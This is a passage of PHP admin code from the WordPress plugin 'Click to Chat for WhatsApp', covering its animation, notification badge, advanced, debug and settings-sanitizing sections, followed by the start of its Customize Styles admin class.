        $dbrow = 'ht_ctc_othersettings';

        $greetings = get_option('ht_ctc_greetings_options');
        $greetings_settings = get_option('ht_ctc_greetings_settings');

        $show_effect = ( isset( $options['show_effect']) ) ? esc_attr( $options['show_effect'] ) : 'no-show-effects';
        $an_delay = ( isset( $options['an_delay']) ) ? esc_attr( $options['an_delay'] ) : '';
        $an_itr = ( isset( $options['an_itr']) ) ? esc_attr( $options['an_itr'] ) : '';

        $entry_effect_list = array(
            'no-show-effects' => '--No-Entry-Effects--',
            'From Center' => 'Center (zoomIn)',
            'From Corner' => 'Corner (corner of icon)', // js 
            // // new
            // 'bounceIn' => 'bounceIn',
            // 'bounceInDown' => 'bounceInDown',
            // 'bounceInUP' => 'bounceInUP',
            // 'bounceInLeft' => 'bounceInLeft',
            // 'bounceInRight' => 'bounceInRight',
            // // 'bottomRight' => 'bottomRight', //add bounce effect
        );
        
        $an_type = ( isset( $options['an_type']) ) ? esc_attr( $options['an_type'] ) : '';
        
        $an_list = array(
            'no-animation' => '--No-Animation--',
            'bounce' => 'Bounce',
            'flash' => 'Flash',
            'pulse' => 'Pulse',
            'heartBeat' => 'HeartBeat',
            'flip' => 'Flip',
        );

        $an_demo_class = ('' == $an_type || 'no-animation' == $an_type) ? 'ctc_init_display_none' : '';
        $ee_demo_class = ('' == $show_effect || 'no-show-effects' == $show_effect) ? 'ctc_init_display_none' : '';

        ?>
        <ul class="collapsible ht_ctc_animations" data-collapsible="accordion" id="ht_ctc_animations">
        <li class="">
        <div class="collapsible-header"><?php _e( 'Animations', 'click-to-chat-for-whatsapp' ); ?>
            <span class="right_icon dashicons dashicons-arrow-down-alt2"></span>
        </div>
        <div class="collapsible-body">

        <p class="description" style="margin-bottom:25px;"><a target="_blank" href="https://holithemes.com/plugins/click-to-chat/animations/"><?php _e( 'Animations', 'click-to-chat-for-whatsapp' ); ?></a></p>

        <!-- animation on load -->
        <div class="row">
            <div class="col s6">
                <p><?php _e( 'Animations', 'click-to-chat-for-whatsapp' ); ?></p>
            </div>
            <div class="input-field col s6">
                <select name="ht_ctc_othersettings[an_type]" class="select_an_type">
                <?php 
                
                foreach ( $an_list as $key => $value ) {
                ?>
                <option value="<?= $key ?>" <?= $an_type == $key ? 'SELECTED' : ''; ?> ><?= $value ?></option>
                <?php
                }

                ?>
                </select>
                <label><?php _e( 'Animations', 'click-to-chat-for-whatsapp' ); ?></label>
                <p class="description ctc_an_demo_btn ctc_run_demo_btn <?= $an_demo_class ?>">Demo: Animate</p>
            </div>
        </div>

        <!-- animation delay -->
        <div class="row an_delay">
            <div class="col s6">
                <p><?php _e( 'Animation Delay', 'click-to-chat-for-whatsapp' ); ?></p>
            </div>
            <div class="input-field col s6">
                <input name="<?= $dbrow; ?>[an_delay]" value="<?= $an_delay ?>" id="an_delay" type="number" min="0" class="" >
                <label for="an_delay"><?php _e( 'Animation Delay', 'click-to-chat-for-whatsapp' ); ?></label>
                <p class="description"><?php _e( 'E.g. Add 1 for 1 second delay', 'click-to-chat-for-whatsapp' ); ?></p>
            </div>
        </div>

        <!-- animation iteration -->
        <div class="row an_itr">
            <div class="col s6">
                <p><?php _e( 'Animation Iteration', 'click-to-chat-for-whatsapp' ); ?></p>
            </div>
            <div class="input-field col s6">
                <input name="<?= $dbrow; ?>[an_itr]" value="<?= $an_itr ?>" id="an_itr" type="number" min="1" class="" >
                <label for="an_itr"><?php _e( 'Animation Iteration', 'click-to-chat-for-whatsapp' ); ?></label>
                <p class="description"><?php _e( 'E.g. Add 2 to repeat animation 2 times', 'click-to-chat-for-whatsapp' ); ?></p>
            </div>
        </div>

        <hr style="width: 50%;">
        <br><br>

        <!-- Show effect -->
        <div class="row">
            <div class="col s6">
                <p><?php _e( 'Entry Effects', 'click-to-chat-for-whatsapp' ); ?></p>
            </div>
            <div class="input-field col s6">
                <select name="ht_ctc_othersettings[show_effect]" class="show_effect">
                <?php 
                foreach ( $entry_effect_list as $key => $value ) {
                ?>
                <option value="<?= $key ?>" <?= $show_effect == $key ? 'SELECTED' : ''; ?> ><?= $value ?></option>
                <?php
                }

                ?>
                </select>
                <label><?php _e( 'Entrance Effects', 'click-to-chat-for-whatsapp' ); ?></label>
                <p class="description ctc_ee_demo_btn ctc_run_demo_btn <?= $ee_demo_class ?>">Demo: Entry effect</p>
            </div>
        </div>

        </div>
        </li>
        </ul>


        <?php
        // notification Badge

        $notification_badge = (isset($options['notification_badge'])) ? 1 : '';
        $notification_count = ( isset( $options['notification_count']) ) ? esc_attr( $options['notification_count'] ) : '1';
        $notification_bg_color = (isset($options['notification_bg_color'])) ? esc_attr($options['notification_bg_color']) : '#ff4c4c';
        $notification_text_color = (isset($options['notification_text_color'])) ? esc_attr($options['notification_text_color']) : '#ffffff';
        $notification_border_color = (isset($options['notification_border_color'])) ? esc_attr($options['notification_border_color']) : '';
        $notification_time = (isset($options['notification_time'])) ? esc_attr($options['notification_time']) : '';
        ?>

        <ul class="collapsible ht_ctc_notification" data-collapsible="accordion" id="ht_ctc_notification" style="margin-top: 2rem;">
        <li class="">
        <div class="collapsible-header"><?php _e( 'Notification Badge', 'click-to-chat-for-whatsapp' ); ?>
            <span class="right_icon dashicons dashicons-arrow-down-alt2"></span>
        </div>
        <div class="collapsible-body">
        <p class="description" style="margin-bottom:25px;"><a target="_blank" href="https://holithemes.com/plugins/click-to-chat/notification-badge/"><?php _e( 'Notification Badge', 'click-to-chat-for-whatsapp' ); ?></a></p>

        <!-- notification_badge -->
        <div class="row ctc_side_by_side">
            <div class="col s6">
                <p><?php _e( 'Add Notification Badge', 'click-to-chat-for-whatsapp' ); ?></p>
            </div>
            <div class="col s6">
                <label>
                    <input class="notification_field notification_badge" name="<?php echo $dbrow ?>[notification_badge]" type="checkbox" value="1" <?php checked( $notification_badge, 1 ); ?> id="notification_badge" />
                    <span><?php _e( 'Add Notification Badge', 'click-to-chat-for-whatsapp' ); ?></span>
                </label>
                <br>
            </div>
        </div>

        <!-- notification_count -->
        <div class="row notification_settings notification_count ctc_side_by_side">
            <div class="col s6">
                <p><?php _e( 'Notification Count', 'click-to-chat-for-whatsapp' ); ?></p>
            </div>
            <div class="input-field col s6">
                <input name="<?= $dbrow; ?>[notification_count]" value="<?= $notification_count ?>" id="notification_count" type="number" min="0" class="notification_field field_notification_count" >
                <label for="notification_count"><?php _e( 'Notification Count', 'click-to-chat-for-whatsapp' ); ?></label>
            </div>
        </div>

        <!-- notification_bg_color -->
        <div class="row notification_settings notification_bg_color ctc_side_by_side">
            <div class="col s6">
                <p><?php _e( 'Badge Background Color', 'click-to-chat-for-whatsapp' ); ?></p>
            </div>
            <div class="input-field col s6">
                <input class="ht-ctc-color field_notification_bg_color" name="<?= $dbrow; ?>[notification_bg_color]" data-default-color="#ff4c4c" value="<?= $notification_bg_color ?>" type="text" data-update-type='background-color' data-update-selector='.ctc_ad_badge'>
            </div>
        </div>

        <!-- notification_text_color -->
        <div class="row notification_settings notification_text_color ctc_side_by_side">
            <div class="col s6">
                <p><?php _e( 'Text Color', 'click-to-chat-for-whatsapp' ); ?></p>
            </div>
            <div class="input-field col s6">
                <input class="ht-ctc-color field_notification_text_color" name="<?= $dbrow; ?>[notification_text_color]" data-default-color="#ffffff" value="<?= $notification_text_color ?>" type="text" data-update-type='color' data-update-selector='.ctc_ad_badge'>
            </div>
        </div>

        <!-- notification_border_color -->
        <!-- todo:l better to add border color by default.. (if enabled dispay with border color) -->
        <div class="row notification_settings notification_border_color ctc_side_by_side">
            <div class="col s6">
                <p><?php _e( 'Add border Color', 'click-to-chat-for-whatsapp' ); ?></p>
            </div>
            <div class="input-field col s6 notification_border_color_field">
                <input class="ht-ctc-color field_notification_border_color" name="<?= $dbrow; ?>[notification_border_color]" value="<?= $notification_border_color ?>" type="text" data-update-type='border-color' data-update-selector='.ctc_ad_badge'>
            </div>
        </div>

        <!-- notification_time -->
        <div class="row notification_settings notification_time ctc_side_by_side">
            <div class="col s6">
                <p><?php _e( 'Badge Time Delay', 'click-to-chat-for-whatsapp' ); ?></p>
            </div>
            <div class="input-field col s6">
                <input name="<?= $dbrow; ?>[notification_time]" value="<?= $notification_time ?>" id="notification_time" type="number" min="0" class="notification_field field_notification_time" >
                <label for="notification_time"><?php _e( 'Time in seconds', 'click-to-chat-for-whatsapp' ); ?></label>
            </div>
        </div>

        <div class="row notification_settings">
            <p class="description" style="font-style:italic;">Notification badge will display until the first time user clicks to open chat or the greetings dialog.</p>
            <?php
            $greetings_template = ( isset( $greetings['greetings_template']) ) ? esc_attr( $greetings['greetings_template'] ) : '';
            $g_init = isset($greetings_settings['g_init']) ? esc_attr( $greetings_settings['g_init'] ) : '';
            if ( ('' !== $greetings_template || 'no' !== $greetings_template) && 'open' == $g_init) {
                $greetings_page_url = admin_url( 'admin.php?page=click-to-chat-greetings' );
                ?>
                <p class="description" style="color:#ff4c4c;">If the <a href="<?= $greetings_page_url . '#g_init:~:text=initial%20stage' ?>" target="_blank">Greetings dialog initial stage is open</a>, the notification badge cannot be displayed.</p>
                <?php
            }
            ?>
        </div>

        </div>
        </li>
        </ul>

        <?php
    }

    /**
     * Other settings
     *  detect device
     */
    function ht_ctc_othersettings_cb() {

        $options = get_option('ht_ctc_othersettings');
        $chat_options = get_option('ht_ctc_chat_options');
        $dbrow = 'ht_ctc_othersettings';

        $aria = (isset($options['aria'])) ? 1 : '';
        $zindex = (isset($options['zindex'])) ? esc_attr($options['zindex']) : '99999999';

        // start other settings
        do_action('ht_ctc_ah_admin_start_os');

        $li_active_gr_sh = ( isset( $options['enable_group'] ) || isset( $options['enable_share'] ) ) ? "class='active'" : '';

        ?>


        <p class="description"><?php _e( 'All these below settings are not important to everyone', 'click-to-chat-for-whatsapp' ); ?></p>
        <ul class="collapsible ht_ctc_other_settings" data-collapsible="accordion" id="ht_ctc_othersettings">
        <li class="">
        <div class="collapsible-header">Advanced Settings
            <span class="right_icon dashicons dashicons-arrow-down-alt2"></span>
        </div>
        <div class="collapsible-body">

        <!-- z-index -->
        <div class="row ctc_side_by_side">
            <div class="col s6">
                <p class="description"><?php _e( 'z-index', 'click-to-chat-for-whatsapp' ); ?></p>
            </div>
            <div class="input-field col s6">
                <input name="<?= $dbrow; ?>[zindex]" value="<?= $zindex ?>" min="0" id="zindex" type="number">
                <label for="zindex"><?php _e( 'z-index', 'click-to-chat-for-whatsapp' ); ?></label>
                <p class="description"><?php _e( 'Position of the element along with z-index. stacking the elements', 'click-to-chat-for-whatsapp' ); ?></p>
            </div>
        </div>        

        <!-- aria -->
        <div class="row ctc_side_by_side">
            <div class="col s6">
                <p class="description"><?php _e( 'Add aria-hidden=true', 'click-to-chat-for-whatsapp' ); ?></p>
            </div>
            <div class="col s6">
                <label class="ctc_checkbox_label">
                    <input name="<?php echo $dbrow ?>[aria]" type="checkbox" value="1" <?php checked( $aria, 1 ); ?> id="aria" />
                    <span><?php _e( 'Add aria-hidden=true', 'click-to-chat-for-whatsapp' ); ?></span>
                </label>
                <p class="description"><?php _e( 'hide for Accessibility API (screen readers)', 'click-to-chat-for-whatsapp' ); ?></p>
                <br>
            </div>
        </div>


        <?php
        // webhook data Format
        $webhook_format_list = array(
            'string' => 'String (Stringify JSON)',
            'json' => 'JSON'
        );

        $webhook_format = ( isset( $options['webhook_format']) ) ? esc_attr( $options['webhook_format'] ) : 'string';
        ?>

        <div class="row ctc_side_by_side">
            <div class="col s6">
                <p class="description">Webhook data format</p>
            </div>
            <div class="input-field col s6">
                <select name="ht_ctc_othersettings[webhook_format]" class="select_webhook_format" style="border:unset; background-color:inherit;">
                    <?php 
                    foreach ( $webhook_format_list as $key => $value ) {
                    ?>
                    <option value="<?= $key ?>" <?= $webhook_format == $key ? 'SELECTED' : ''; ?> ><?= $value ?></option>
                    <?php
                    }
                    ?>
                </select>
                <label>Webhook data format</label>
                <p class="description">Stringify JSON works. If any application need to change - <a target="_blank" href="https://holithemes.com/plugins/click-to-chat/webhook-data-format/">more info</a></p>
            </div>
        </div>


        <?php
        // hook
        // in other settings
        do_action('ht_ctc_ah_admin_in_os');
        ?>
        </div>
        </li>
        </ul>
        <br>

        <!-- enable group, share features -->
        <ul class="collapsible ht_ctc_enable_share_group" data-collapsible="accordion" id="ht_ctc_enable_share_group">
        <li <?= $li_active_gr_sh; ?>>
        <div class="collapsible-header"><?php _e( 'Group, Share features', 'click-to-chat-for-whatsapp' ); ?>
            <span class="right_icon dashicons dashicons-arrow-down-alt2"></span>
        </div>
        <div class="collapsible-body">
        
        <?php

        // enable group
        if ( isset( $options['enable_group'] ) ) {
        ?>
        <p>
            <label class="ctc_checkbox_label">
                <input name="ht_ctc_othersettings[enable_group]" type="checkbox" value="1" <?php checked( $options['enable_group'], 1 ); ?> id="enable_group" />
                <span><?php _e( 'Enable Group Features', 'click-to-chat-for-whatsapp' ); ?></span>
            </label>
            <p class="description"> <?php _e( 'Adds WhatsApp Icon for Group', 'click-to-chat-for-whatsapp' ); ?> - <a href="<?= admin_url( 'admin.php?page=click-to-chat-group-feature' ); ?>"><?php _e( 'Group Settings page', 'click-to-chat-for-whatsapp' ); ?></a> </p>
        </p>
        <?php
        } else {
            ?>
            <p>
                <label class="ctc_checkbox_label"  >
                    <input name="ht_ctc_othersettings[enable_group]" type="checkbox" value="1" id="enable_group" />
                    <span><?php _e( 'Enable Group Features', 'click-to-chat-for-whatsapp' ); ?></span>
                </label>
            </p>
            <p class="description"> <?php _e( 'Adds WhatsApp Icon for Group', 'click-to-chat-for-whatsapp' ); ?> - <a target="_blank" href="https://holithemes.com/plugins/click-to-chat/enable-group-feature/"><?php _e( 'more info', 'click-to-chat-for-whatsapp' ); ?></a> </p>
            <?php
        }
        ?>
        <br>
        <?php


        // enable share
        if ( isset( $options['enable_share'] ) ) {
        ?>
        <p>
            <label class="ctc_checkbox_label">
                <input name="ht_ctc_othersettings[enable_share]" type="checkbox" value="1" <?php checked( $options['enable_share'], 1 ); ?> id="enable_share" />
                <span><?php _e( 'Enable Share Features', 'click-to-chat-for-whatsapp' ); ?></span>
            </label>
            <p class="description"> <?php _e( 'Adds WhatsApp Icon for Share', 'click-to-chat-for-whatsapp' ); ?> - <a href="<?= admin_url( 'admin.php?page=click-to-chat-share-feature' ); ?>"><?php _e( 'Share Settings page', 'click-to-chat-for-whatsapp' ); ?></a> </p>
        </p>
        <?php
        } else {
            ?>
            <p>
                <label class="ctc_checkbox_label">
                    <input name="ht_ctc_othersettings[enable_share]" type="checkbox" value="1" id="enable_share" />
                    <span><?php _e( 'Enable Share Features', 'click-to-chat-for-whatsapp' ); ?></span>
                </label>
            </p>
            <p class="description"> <?php _e( 'Adds WhatsApp Icon for Share', 'click-to-chat-for-whatsapp' ); ?> - <a target="_blank" href="https://holithemes.com/plugins/click-to-chat/enable-share-feature/"><?php _e( 'more info', 'click-to-chat-for-whatsapp' ); ?></a> </p>
            <?php
        }
        ?>
        <br>
        
        <!-- chat -->
        <p class="description"><?php _e( "Chat settings are enabled by default. If like to hide chat on all pages", 'click-to-chat-for-whatsapp' ); ?></p>
        <p class="description"><?php _e( "'Click to Chat' - 'Display Settings' - 'Global' - check ", 'click-to-chat-for-whatsapp' ); ?> <a target="_blank" href="<?= admin_url( 'admin.php?page=click-to-chat#showhide_settings' ); ?>"><?php _e( "Hide on all pages", 'click-to-chat-for-whatsapp' ); ?></a> - <a target="_blank" href="https://holithemes.com/plugins/click-to-chat/enable-chat"><?php _e( 'more info', 'click-to-chat-for-whatsapp' ); ?></a> </p>
        <br>


        </div>
        </li>
        </ul>

        <br>

        <!-- Troubleshoot, Debug, ..  -->
        <ul class="collapsible ht_ctc_debug" data-collapsible="accordion" id="ht_ctc_debug">
        <li>
        <div class="collapsible-header"><?php _e( 'Debug, Troubleshoot, ..', 'click-to-chat-for-whatsapp' ); ?>
            <span class="right_icon dashicons dashicons-arrow-down-alt2"></span>
        </div>
        <div class="collapsible-body">
        <?php

        /**
         * AMP Compatibility - enabled by default.  (if an issue uncheck this..)
         * later version remove this option and make enable by default..
         * if amp related issue, uncheck this option
         */

        $amp_checkbox = ( isset( $options['amp']) ) ? esc_attr( $options['amp'] ) : '';

        if ( function_exists( 'amp_is_request' ) ) {
            ?>
            <p id="amp_compatibility">
                <label>
                    <input name="<?= $dbrow; ?>[amp]" type="checkbox" value="1" <?php checked( $amp_checkbox, 1 ); ?> id="amp" />
                    <span><?php _e( 'AMP Compatibility', 'click-to-chat-for-whatsapp' ); ?></span>
                </label>
            </p>
            <p class="description"><a target="_blank" href="https://holithemes.com/plugins/click-to-chat/amp-compatibility/"><?php _e( 'AMP Compatibility', 'click-to-chat-for-whatsapp' ); ?></a> If any issue, uncheck this option and please contact us</p>
            <br>
            <?php
        } else {
            // if amp is activated after this settings.
            ?>
            <label style="display: none;">
                <input name="<?= $dbrow; ?>[amp]" type="checkbox" value="1" <?php checked( $amp_checkbox, 1 ); ?> id="amp" />
                <span><?php _e( 'AMP Compatibility', 'click-to-chat-for-whatsapp' ); ?></span>
            </label>
            <?php
        }

        // enable debug mode checkbox
        $debug_mode = ( isset( $options['debug_mode']) ) ? esc_attr( $options['debug_mode'] ) : '';
        $chat_load_hook = ( isset( $options['chat_load_hook']) ) ? esc_attr( $options['chat_load_hook'] ) : '';

        if ( isset( $options['debug_mode'] ) || (isset($_GET) && isset($_GET['debug'])) ) {
            ?>
            <p>
                <label class="ctc_checkbox_label">
                    <input name="ht_ctc_othersettings[debug_mode]" type="checkbox" value="1" <?php checked( $debug_mode, 1 ); ?> id="debug_mode"   />
                    <span><?php _e( 'Debug/Dev mode', 'click-to-chat-for-whatsapp' ); ?></span>
                </label>
            </p>
            <?php
        }

        ?>

        <p class="description">
            <ol style="list-style-type: disc;">
                <li class="ctc_debug_list_item">Basic Troubleshoot
                    <ol style="list-style-type: none;">
                        <li class="ctc_debug_list_item">Clear Cache: Cache plugins, Server side, CDN cache (if available)</li>
                        <li class="ctc_debug_list_item">Check display settings</li>
                    </ol>
                </li>
                    <li class="ctc_debug_list_item"><p class="description"><a target="_blank" href="https://holithemes.com/plugins/click-to-chat/faq"><?php _e( 'FAQ', 'click-to-chat-for-whatsapp' ); ?> (<?php _e( 'Frequently Asked Questions', 'click-to-chat-for-whatsapp' ); ?>)</a></p></li>
                </li>
            </ol>
        </p>
        <!-- <p class="description"><a target="_blank" href="https://holithemes.com/plugins/click-to-chat/link/">Basic Troubleshooting</a></p> -->
        <br>
        <hr>
        <details class="ctc_details">
            <summary style="cursor:pointer;">Chat load hook</summary>
            <div class="m_side_15 m_top_5">
                <!-- chat load hook -->
                <div class="row ctc_side_by_side">
                    <div class="col s6">
                    <p class="description"><?php _e( 'Chat load hook', 'click-to-chat-for-whatsapp' ); ?></p>
                    </div>
                    <div class="input-field col s6">
                        <select name="<?= $dbrow; ?>[chat_load_hook]" class="chat_load_hook">
                            <option value="wp_footer" <?= $chat_load_hook == 'wp_footer' ? 'SELECTED' : ''; ?> >wp_footer</option>
                            <option value="get_footer" <?= $chat_load_hook == 'get_footer' ? 'SELECTED' : ''; ?> >get_footer</option>
                            <option value="wp_head" <?= $chat_load_hook == 'wp_head' ? 'SELECTED' : ''; ?> >wp_head</option>
                        </select>
                        <label>Chat load hook</label>
                        <p class="description">If the chat widget is not working with the wp_footer hook, change to get_footer or wp_head - <a target="_blank" href="https://holithemes.com/plugins/click-to-chat/chat-load-hook/">more info</a></p>
                    </div>
                </div>
            </div>
        </details>

        <?php
        $no_intl_checkbox = ( isset( $options['no-intl']) ) ? esc_attr( $options['no-intl'] ) : '';
        ?>
        <details class="ctc_details">
            <summary style="cursor:pointer;">WhatsApp number not saving</summary>
            <div class="m_side_15">
                <p class="description">If WhatsApp number is not saved at admin side, disable the initl input library and add WhatsApp number</p>
                <p style="margin-bottom:12px;">
                    <label>
                        <input name="<?= $dbrow; ?>[no-intl]" type="checkbox" value="1" <?php checked( $no_intl_checkbox, 1 ); ?> id="no-intl" />
                        <span>Disable Initl input library</span>
                    </label>
                </p>
            </div>
        </details>

        <details class="ctc_details">
            <summary style="cursor:pointer;">Delete settings</summary>
            <div class="m_side_15">
                <?php
                // delete options 
                if ( isset( $options['delete_options'] ) ) {
                    ?>
                    <p>
                        <label>
                            <input name="ht_ctc_othersettings[delete_options]" type="checkbox" value="1" <?php checked( $options['delete_options'], 1 ); ?> id="delete_options"   />
                            <span><?php _e( 'Delete this plugin settings when uninstalls', 'click-to-chat-for-whatsapp' ); ?></span>
                        </label>
                    </p>
                    <?php
                } else {
                    ?>
                    <p>
                        <label>
                            <input name="ht_ctc_othersettings[delete_options]" type="checkbox" value="1" id="delete_options"   />
                            <span><?php _e( 'Delete this plugin settings when uninstalls', 'click-to-chat-for-whatsapp' ); ?></span>
                        </label>
                    </p>
                    <?php
                }
                ?>
            </div>
        </details>

        <br>
        <p class="description">Any issues related to the Click to Chat plugin? Please <a target="_blank" href="https://holithemes.com/plugins/click-to-chat/support">contact us</a>.</p>

        </div>
        </li>
        </ul>

        

        <?php
    }


    /**
     * Sanitize each setting field as needed
     *
     * @param array $input Contains all settings fields as array keys
     */
    public function options_sanitize( $input ) {

        if ( ! current_user_can( 'manage_options' ) ) {
            wp_die( 'not allowed to modify - please contact admin ' );
        }

        // to sanitize the input. custom css, ..
        include_once HT_CTC_PLUGIN_DIR .'new/admin/admin_commons/ht-ctc-admin-formatting.php';


        $new_input = array();

        foreach ($input as $key => $value) {

            if ( is_array( $input[$key] ) ) {
                if ( function_exists('sanitize_textarea_field') ) {
                    $new_input[$key] = map_deep( $input[$key], 'sanitize_textarea_field' );
                } else {
                    $new_input[$key] = map_deep( $input[$key], 'sanitize_text_field' );
                }
            } else {
                
                if ( 'placeholder' == $key ) {
                    if ( function_exists('sanitize_textarea_field') ) {
                        $new_input[$key] = sanitize_textarea_field( $input[$key] );
                    } else {
                        $new_input[$key] = sanitize_text_field( $input[$key] );
                    }
                } else if ( 'custom_css' == $key ) {
                    if ( function_exists('ht_ctc_sanitize_custom_css_code') ) {
                        $new_input[$key] = ht_ctc_sanitize_custom_css_code( $input[$key] );
                    }
                } else if ( isset( $input[$key] ) ) {
                    // $new_input[$key] = sanitize_text_field( $input[$key] );
                    if ( function_exists('sanitize_textarea_field') ) {
                        $new_input[$key] = sanitize_textarea_field( $input[$key] );
                    } else {
                        $new_input[$key] = sanitize_text_field( $input[$key] );
                    }
                }
            }

        }
        
        do_action('ht_ctc_ah_admin_after_sanitize' );

        return $new_input;
    }





}

$ht_ctc_admin_other_settings = new HT_CTC_Admin_Other_Settings();

add_action('admin_menu', array($ht_ctc_admin_other_settings, 'menu') );
add_action('admin_init', array($ht_ctc_admin_other_settings, 'settings') );

endif; // END class_exists checkclick-to-chat-for-whatsapp/new/admin/class-ht-ctc-admin-customize-styles.php000064400000244510147510273110023114 0ustar00<?php
/**
 * Customize Styles  ( cs )
 * 
 * @package Admin
 * @since 2.0
 */

if ( ! defined( 'ABSPATH' ) ) exit;

if ( ! class_exists( 'HT_CTC_Admin_Customize_Styles' ) ) :

class HT_CTC_Admin_Customize_Styles {

    public $display_all_styles_checkbox = 'show';
    
    // public function __construct() {
    //     // $this->this_variables();
    // }
    
    public function menu() {

        add_submenu_page(
            'click-to-chat',
            'Customize',
            'Customize',
            'manage_options',
            'click-to-chat-customize-styles',
            array( $this, 'settings_page' )
        );
    }

    public function settings_page() {

        if ( ! current_user_can('manage_options') ) {
            return;
        }

        ?>

        <div class="wrap ctc-admin-customize-styles">

            <?php settings_errors(); ?>

            <div class="row" style="display:flex; flex-wrap:wrap;">
                <div class="col s12 m12 xl8 options">
                    <form action="options.php" method="post" class="">
                        <?php settings_fields( 'ht_ctc_cs_page_settings_fields' ); ?>
                        <?php do_settings_sections( 'ht_ctc_cs_page_settings_sections_do' ) ?>
                        <?php submit_button() ?>
                    </form>
                </div>
                <div class="col s12 m12 xl4 ht-ctc-admin-sidebar">
                </div>
            </div>

        </div>

        <?php

    }


    
    public function settings() {

        $ht_ctc_othersettings = get_option('ht_ctc_othersettings');
        $ht_ctc_chat = get_option('ht_ctc_chat_options');
        $ht_ctc_cs = get_option('ht_ctc_cs_options');

        // @uses for register_setting, add_settings_field
        $styles_list = [
            'ht_ctc_s1',
            'ht_ctc_s2',
            'ht_ctc_s3',
            'ht_ctc_s3_1',
            'ht_ctc_s4',
            'ht_ctc_s5',
            'ht_ctc_s6',
            'ht_ctc_s7',
            'ht_ctc_s7_1',
            'ht_ctc_s8',
            'ht_ctc_s99'
        ];


        // 
        /**
         * Display all - if group or share enabled or display_allstyles option is checked.
         */
        if ( isset($ht_ctc_othersettings['enable_group']) || isset($ht_ctc_othersettings['enable_share']) ) {
            // load all styles
            $this->display_all_styles_checkbox = 'hide';

        } else {
            // only chat enabled.

            // display_allstyles option is checked.
            if ( !isset( $ht_ctc_cs['display_allstyles'] ) ) {

                $style_d = (isset($ht_ctc_chat['style_desktop'])) ? esc_attr($ht_ctc_chat['style_desktop']) : '';
                $style_m = (isset($ht_ctc_chat['style_mobile'])) ? esc_attr($ht_ctc_chat['style_mobile']) : '';

                // $styles_list redefined..
                $styles_list = [];

                if ( '' !== $style_d ) {
                    array_push($styles_list, "ht_ctc_s$style_d");
                }

                if ( !isset($ht_ctc_chat['same_settings']) && '' !== $style_m && $style_d !== $style_m ) {
                    array_push($styles_list, "ht_ctc_s$style_m");
                }

                // // woo style and if not match with style desktop, mobile.
                // $woo = get_option('ht_ctc_woo_options');
                // $woo_style = (isset($woo['woo_style'])) ? esc_attr($woo['woo_style']) : '';
                // if ( '' !== $woo_style && $style_d !== $woo_style && $style_m !== $woo_style ) {
                //     array_push($styles_list, "ht_ctc_s$woo_style");
                // }

            }
        }


        // register_setting
        foreach ($styles_list as $s) {
           
            register_setting( 
                'ht_ctc_cs_page_settings_fields', 
                $s, 
                [$this, 'options_sanitize']
            );

        }

        register_setting( 'ht_ctc_cs_page_settings_fields', 'ht_ctc_cs_options' , array( $this, 'options_sanitize' ) );

        
        
        // check for options.php, _GET page = click-to-chat-customize-styles
        $get_url = ( isset($_GET) && isset($_GET['page']) && 'click-to-chat-customize-styles' == $_GET['page'] ) ? true : false;
        
        $options_page = false;
        // if request url have options.php .. (or if requesturl is not set.. or empty ) then $options_page = true
        if ( isset($_SERVER['REQUEST_URI']) && !empty($_SERVER['REQUEST_URI']) ) {
            if ( false !== strpos( $_SERVER['REQUEST_URI'], 'options.php' ) ) {
                // if options.php page
                $options_page = true;
            }
        } else {
            $options_page = true;
        }
        

        // if its - options.php page or _GET page = click-to-chat-customize-styles - load settings fields.. (or if request url is not set or empty - no risk)
        if ( true == $options_page || true == $get_url ) {

            add_settings_section( 'ht_ctc_cs_settings_sections_add', '', array( $this, 'main_settings_section_cb' ), 'ht_ctc_cs_page_settings_sections_do' );

            // add_settings_field
            foreach ($styles_list as $s) {

                $name = str_replace( 'ht_ctc_s', 'Style ', $s );
            
                add_settings_field( 
                    $s, 
                    $name, 
                    [$this, "{$s}_cb"],
                    'ht_ctc_cs_page_settings_sections_do',
                    'ht_ctc_cs_settings_sections_add'
                );

            }

            add_settings_field( 'ht_ctc_cs', '', array( $this, 'ht_ctc_cs_cb' ), 'ht_ctc_cs_page_settings_sections_do', 'ht_ctc_cs_settings_sections_add' );
        
        }

    }

    public function main_settings_section_cb() {
        ?>
        <h1>Customize</h1>
        <!-- styles -->
        <style id="ht-ctc-admin-cs">
            .ht_ctc_display_none {
                display: none;
            }
        </style>
        <?php
    }

    // display all styles
        // count - updates each time, uses at clear cache 
    public function ht_ctc_cs_cb() {

        $options = get_option('ht_ctc_cs_options');
        $dbrow = 'ht_ctc_cs_options';

        // increase count to update row each time when save changes, to use at clear cache..
        $count = ( isset( $options['count']) ) ? esc_attr( $options['count'] ) : '1';
        $count++;

        
        $display_allstyles = ( isset( $options['display_allstyles']) ) ? esc_attr( $options['display_allstyles'] ) : '';

        $hide_checkbox = '';
        if ( isset( $this->display_all_styles_checkbox ) && 'hide' == $this->display_all_styles_checkbox ) {
            $hide_checkbox = 'ctc_init_display_none';
        }

        ?>
        <!-- not make empty table -->
        <input name="<?= $dbrow; ?>[count]" value="<?= $count; ?>" type="hidden" class="hide" >

        <!-- display all styles -->
        <div class="display_all_styles_checkbox <?= $hide_checkbox ?>">
            <p>
                <label class="ctc_checkbox_label">
                    <input name="<?= $dbrow; ?>[display_allstyles]" type="checkbox" value="1" <?php checked( $display_allstyles, 1 ); ?> id="display_allstyles" />
                    <span><?php _e( 'Display all Styles', 'click-to-chat-for-whatsapp' ); ?></span>
                </label>
                <p class="display_allstyles_description description" style="display: none;">&emsp;&emsp;Save Changes</p>
            </p> 
        </div>
        <?php
    }


    // style-1 - default theme button
    function ht_ctc_s1_cb() {

        $options = get_option('ht_ctc_s1');
        $dbrow = 'ht_ctc_s1';

        $s1_text_color = ( isset( $options['s1_text_color']) ) ? esc_attr( $options['s1_text_color'] ) : '';
        $s1_bg_color = ( isset( $options['s1_bg_color']) ) ? esc_attr( $options['s1_bg_color'] ) : '';
        $s1_icon_color = ( isset( $options['s1_icon_color']) ) ? esc_attr( $options['s1_icon_color'] ) : '';
        $s1_icon_size = ( isset( $options['s1_icon_size']) ) ? esc_attr( $options['s1_icon_size'] ) : '16';

        $s1_m_fullwidth_checkbox = ( isset( $options['s1_m_fullwidth']) ) ? esc_attr( $options['s1_m_fullwidth'] ) : '';
        $s1_add_icon_checkbox = ( isset( $options['s1_add_icon']) ) ? esc_attr( $options['s1_add_icon'] ) : '';

        ?>
        <ul class="collapsible ht_ctc_customize_style ht_ctc_s1" data-collapsible="accordion" data-style='1'>
        <li>
        <div class="collapsible-header"><?php _e( 'Style 1', 'click-to-chat-for-whatsapp' ); ?>
            <span class="right_icon dashicons dashicons-arrow-down-alt2"></span>
        </div>
